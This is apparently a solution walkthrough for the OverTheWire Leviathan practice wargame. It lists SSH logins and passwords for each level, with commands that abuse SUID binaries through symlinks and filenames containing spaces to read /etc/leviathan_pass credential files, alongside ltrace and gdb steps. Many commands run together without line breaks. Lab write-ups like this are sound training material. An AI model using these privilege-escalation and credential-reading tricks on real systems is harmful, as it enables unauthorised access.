Level 0
ssh leviathan0@leviathan.labs.overthewire.org -p 2223leviathan0Find the password by searching hidden directories and then greping for the name of the next challenge in files.
grep leviathan1 bookmarks.html
Level 1
We have a bin file owned by leviathan2
ssh leviathan1@leviathan.labs.overthewire.org -p 2223PPIfmI1qsAltrace prints the function calls which script invokes. It analyzes the program.
Afterwards we see a hardcoded output.
If we run the file again and then enter the hardcoded password we'll see we've switched users.
Now we can check for the password inside of `/etc/leviathan_pass?leviathan2
Level 2
ssh leviathan2@leviathan.labs.overthewire.org -p 2223mEh5PNl10eExploit a flaw in the executable.
mktemp -dtouch /tmp/tmp.POGVtTjK6O/"pass file.txt" ltrace ./printfile /tmp/tmp.POGVtTjK6O/"pass file.txt"Link file which points to
ln -s /etc/leviathan_pass/leviathan3 /tmp/tmp.s7E8Gz5BRw/testchmod 777 /tmp/tmp.s7E8Gz5BRw./printfile /tmp/tmp.s7E8Gz5BRw/"test file.txt"https://www.unix.com/tips-and-tutorials/19060-unix-file-permissions.html
Level 3
ssh leviathan3@leviathan.labs.overthewire.org -p 2223Q0G8j4saknltrace ./level3Reading the output we see that the comparison password is hardcoded.
./level3snlprintf cat /etc/leviathan_pass/leviathan4Level 4 - Analyze file for SUID binaries
ssh leviathan4@leviathan.labs.overthewire.org -p 2223AgvropI4OAls -alcd .trash./bin echo 0100010101001011010010110110110001010100010001100011000101011000011100010111001100001010 | perl -lpe '$_=pack"B*",$_'We notice .trash has elevated permissions so check it out.
The same thing happens for .bin.
The output is clearly binary so with a search we parse it to ASCII
Level 5 -
ssh leviathan5@leviathan.labs.overthewire.org -p 2223EKKlTF1XqsWe notice the bin leviathan5 fails so we create the log file for which it
complains after analyizing with ltrace.
touch /tmp/file.log./leviathan5ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log./leviathan5Create a link to leviathan6 from file.log which executes when we run the leviathan5 bin.
Level 6 - Hack password in register using gdb
ssh leviathan6@leviathan.labs.overthewire.org -p 2223YZ55XPVk2lDebug the script at assembly level using gdb
gdb --args leviathan6 0000View every assembly level instruction in the script.
disassemble mainSet a breakpoint
break *0x0804922aRun the program
runSee what values are contained within the registers
info registersMake the comparison like the command would and check the output
print $ebp-0xcx 0xffffd4ccprint/d 0x00001bd3 7123 Level 7 - Analyze file for SUID binaries
ssh leviathan7@leviathan.labs.overthewire.org -p 2223Incredible.
8GpZ5f8Hze